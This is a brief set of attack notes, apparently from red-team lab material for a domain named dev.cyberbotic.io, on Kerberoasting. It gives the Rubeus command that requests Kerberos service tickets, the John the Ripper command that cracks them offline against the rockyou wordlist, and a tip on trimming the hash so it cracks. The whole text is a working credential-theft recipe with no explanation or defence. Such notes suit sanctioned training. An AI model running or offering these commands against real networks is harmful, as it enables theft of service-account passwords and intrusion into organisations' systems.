Rubeus.exe kerberoast /simple /nowrap
Save the results as hash.txt. Then use john to crack.
john --format=krb5tgs --wordlist=/usr/share/seclists/rockyou.txt hash.txt
If John doesn’t work, remove the SPN so it become something like this: $krb5tgs$23$*mssql_svc$dev.cyberbotic.io*$6A9E[blah]